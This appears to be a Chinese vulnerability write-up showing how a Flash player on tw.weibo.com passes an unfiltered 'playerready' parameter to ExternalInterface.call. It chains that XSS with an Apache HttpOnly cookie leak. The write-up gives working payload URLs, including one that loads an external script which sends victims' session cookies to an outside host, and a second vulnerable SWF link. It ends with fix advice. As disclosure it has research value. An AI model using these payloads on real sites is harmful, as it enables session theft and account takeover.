新浪微博COOKIES盗取[flash编程安全+apache http-only cookie 泄漏利用]

所属分类: 网络安全 / 漏洞分析 阅读数: 599
收藏 0 赞 0 分享

最近突然觉得,很多FLASH开发人员在编写的时候,忽视了安全问题。被恶意利用的话,可以实现URL跳转,COOKIES盗取,甚至是蠕虫攻击。
漏洞测试:IE , firefox , chrome(= = 这个输入测试代码,浏览器直接崩溃了)
漏洞成因
1. 首先说的是FLASH编程安全问题:
一些编程人员,对于loaderInfo.parameters 所传入的参数都不会严格过滤,甚至很多开发人员都有把Javascript函数名作为参数传入的习惯。
而事实证明,新浪的开发人员也有类似的习惯。
2. 首先google 了一下inurl:(swf) site:weibo.com ,将搜索结果中的SWF全部下载下来。 用ASV全部反编一下,得到若干txt文件,每个FLASH一个。
3. 漏洞利用条件: 有parameters, 有ExternalInterface.call。 我们以此2个关键词搜索上面得到的txt文件。
4. 最终锁定一个目标。http://tw.weibo.com/_common/jwplayer/player.swf
5. 其漏洞源码如下:

复制代码
代码如下:

//加载外部参数
this.loadFlashvars(RootReference.root.loaderInfo.parameters);
//写入参数
this.setConfigParam(param, params[param]);
//继续,可以看到参数写到了_config 里
this._config[_arg1.toLowerCase()] = Strings.serialize(Strings.trim(_arg2));
//再搜索ExternalInterface.call,找到以下位置
var callbacks:* = (_player.config.playerready) ? ((_player.config.playerready + ",") + "playerReady") : "playerReady";
if (ExternalInterface.available){
for each (callback in callbacks.replace(/\s/, "").split(",")) {
try {
ExternalInterface.call(callback, {id:evt.id, client:evt.client, version:evt.version});
} catch(e:Error) {
};
};
clearQueuedEvents();
};

//可以看出call<--callback<--callbacks<---_player.config.playerready
6. 基于以上分析,我们可以很容易构造出利用代码。
http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function(){alert('xxx');})
7. 但是这样的代码,还不足以构成危害。 顶多就是一个URL跳转。 连cookies都是获取不到的。如以下代码,将返回[拒绝访问]的错误。
http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function(){try{alert(document.cookie)}catch(e){alert(e.description)}})
8. 突破限制,获取cookies。
正好昨天在百度javascript吧看到一片帖子href,src的妙用(http://tieba.baidu.com/p/1583718448)。正好拿来突破这种限制了。
(广告一下,喜欢javascript的可以经常来玩玩!!)。
利用文章中所讲技巧,构造以下代码:
http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function(){location.href='javascript:"<script>alert(document.cookie)</script>"'})
9. 从上面可以看出,弹出weibo.com的cookies里。但是当我拿这个cookies来发送微博的时候,发现不成功。 比较了一下获取的cookies,发现SUS,SUE两个值是http-only的,也就是document.cookie得不到的。
10. 前些天看到有人发腾讯的apache cookie 泄漏漏洞,结果因为没有漏洞利用场景被忽略了。看了下tw.weibo.com的HTTP头,正好是apache的,我们这里可以尝试用一用了!!
从exploit-db下载了利用的JS,做了点小修改。如下,保存为http://appmaker.sinaapp.com/test3.js
11. 构造以下利用代码,调用上面这个JS文件。代码中的test.php为接收cookies的文件。
http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function(){location.href='javascript:"<script/src=\'//appmaker.sinaapp.com\/test3.js\'></script>"'})
编码一下,可以发到微博:
http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function()%7Blocation.href%3D'javascript%3A%22%3Cscript%2Fsrc%3D%5C'%2F%2Fappmaker.sinaapp.com%5C%2Ftest3.js%5C'%3E%3C%2Fscript%3E%22'%7D)
12. 结果表明该服务器存在apache cookies泄漏漏洞,效果见漏洞证明。
------------------------------------------------------------
总结:
1. FLASH的编写安全不容忽视,实际上,我找到了10多个FLASH中,有2个FLASH可以被利用到。这说明这种漏洞不是偶然,而是被开发者忽略掉的一个问题。
另外一个不在weibo.com的域名下。提供给你们一起修复下吧!
http://js.t.sinajs.cn/t4/home/static/swf/img/SinaCollage.swf?JSHandler=(function(){alert('xxx')})
2. 本流程为apache cookies泄漏漏洞的利用,提供了一个利用场景。
漏洞证明:
1. 微博写入链接:

2. 点击链接后,抓包,见图
A. Apache cookies 泄漏图,其中包含有document.cookie无法获取到的SUS,SUE
B. 可以看到Cookies被转发到我们指定的PHP文件中。
3. 利用Cookies在SAE发送微博失败。。 提示是
“抱歉,你当前使用的账号、IP或应用由于违反了新浪微博的安全检测规则,暂时无法完成此操作啦。你可以绑定手机来取消此限制,如有问题@微博客服反馈。” 可能做了某些其他限制。
修复方案:
1. 审查已上线的FLASH文件代码,严格控制FLASH文件参数的输入
2. apache的漏洞给打补丁。
 

更多精彩内容其他人还在看

AOL Radio MediaPlaybackControl 控件栈溢出漏洞

受影响系统: AOL AmpX.dll 2.6.1.11 不受影响系统: AOL AmpX.dll 2.6.2.6 描述: AOL的AmpX ActiveX控件是AOL Radio使用的用于播放网页中音频流的控件。 AmpX.dll所提供的
收藏 0 赞 0 分享

2007年12月网络安全漏洞总结

 声明:本十大安全漏洞由NSFOCUS安全小组根据安全漏洞的严重程度、影响范围等因素综合评出,仅供参考   1.2007-12-11 Microsoft消息队列服务栈溢出漏洞   综述:   Microsoft Windows是微软发布的非常流行的操
收藏 0 赞 0 分享

OmniPCX Enterprise存在远程命令注入漏洞

受影响系统: Alcatel-Lucent OmniPCX Enterprise <= 7.1 不受影响系统: Alcatel-Lucent OmniPCX Enterprise 7.1 patch F5.401.19 Alcatel-Luc
收藏 0 赞 0 分享

Sun Java jpiexp32.dll对象名称含空指针引用漏洞

受影响系统: Sun JRE < 5.0 Update 14 不受影响系统: Sun JRE 5.0 Update 14 描述: Solaris系统的Java运行时环境(JRE)为JAVA应用程序提供可靠的运行环境。 JRE处理畸
收藏 0 赞 0 分享

InterBase和Firebird远程栈缓冲区溢出漏洞

受影响系统: Borland InterBase WI-V8.1.0.257 Borland InterBase WI-V8.0.0.123 Borland InterBase WI-V7.5.1.80 Borland InterB
收藏 0 赞 0 分享

IE 存在document.open()方式地址欺骗漏洞

受影响系统: Microsoft Internet Explorer 7.0 Microsoft Internet Explorer 6.0 SP1 Microsoft Internet Explorer 6.0 Microsoft
收藏 0 赞 0 分享

Microsoft IE onunload事件地址栏欺骗漏洞

受影响系统: Microsoft Internet Explorer 7.0 Microsoft Internet Explorer 6.0 SP1 Microsoft Internet Explorer 6.0 Microsoft Internet Ex
收藏 0 赞 0 分享

F2blog XMLRPC 上传任意文件漏洞

刚从官方下载的最新版:F2blog-v1.2_build_03.01_full 存在漏洞文件:xmlrpc.php, 影响:可上传任意文件到服务器。 原理:get_http_raw_post_data()是获取最原始的传递过来的数据,也是说不会因为PHP环境的ma
收藏 0 赞 0 分享

FTP客户端目录遍历漏洞可向任意位置写文件

FFFTP是一款小型的FTP客户端软件。FFFTP客户端没有正确地验证FTP服务器所返回的LIST命令响应中包含有目录遍历序列(斜线)的文件名,如果用户受骗从恶意的FTP服务器下载的目录包含有带有恶意文件名的文件的话,就可能导致向用户系统的任意位置写入文件。 受影
收藏 0 赞 0 分享

Adobe Photoshop Album Starter Edition BMP图形头处理缓冲区溢出漏洞

受影响系统: Adobe Photoshop Album Starter Edition 3.2 描述: ---------------------------------------------------------------------------
收藏 0 赞 0 分享
查看更多